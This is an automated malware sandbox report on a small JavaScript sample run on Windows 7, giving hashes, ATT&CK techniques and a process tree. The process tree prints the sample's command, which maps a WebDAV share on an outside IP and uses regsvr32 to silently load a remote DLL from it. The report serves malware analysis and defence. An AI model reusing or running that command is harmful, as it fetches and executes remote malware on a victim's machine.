8575345dcb7b73feba818b96f1eff5ce40d76bd4384977233dd72c2a8bb1072e

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 19:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1491410483381627037.js
Size

4KB
MD5

62a66376474955bc5af227ac53ab027e
SHA1

ec322c39698c5d00615fa42bbe1bf1b8b05aac4b
SHA256

8575345dcb7b73feba818b96f1eff5ce40d76bd4384977233dd72c2a8bb1072e
SHA512

ef70c48cd3d960098e97c23f3b3cae071d9588ff74462690e9aedc4a3502f88600e094fc7253e1460e90f006c536f5285ae9c8605cf575b3934b972e0d2f4522
SSDEEP

48:1wTVsajIWcEeMnT4ML99RiNay53J9WwO0ikv8/WISt3u7yFkAksmTSt3u7yFkFOW:Ksaj4xcBXRwvXYkv8/r03SFAkx03SF7

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 2444	3032	wscript.exe	30
PID 3032 wrote to memory of 2444	3032	wscript.exe	30
PID 3032 wrote to memory of 2444	3032	wscript.exe	30
PID 2444 wrote to memory of 2060	2444	cmd.exe	32
PID 2444 wrote to memory of 2060	2444	cmd.exe	32
PID 2444 wrote to memory of 2060	2444	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1491410483381627037.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads